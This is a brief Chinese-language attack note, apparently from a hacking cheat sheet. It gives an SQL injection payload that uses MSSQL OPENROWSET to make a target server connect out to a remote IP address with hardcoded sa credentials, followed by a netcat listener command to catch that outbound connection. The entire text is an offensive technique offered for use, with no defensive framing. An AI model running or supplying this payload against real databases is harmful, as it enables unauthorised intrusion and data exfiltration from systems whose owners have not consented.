注入点执行: ; select * from OPENROWSET ( ' SQLOLEDB ' , ' server=218.78.211.42;uid=sa;pwd=wise@2005 ' , ' select * from master ' ) 然后NC监听。 NC:nc -vvlp 1433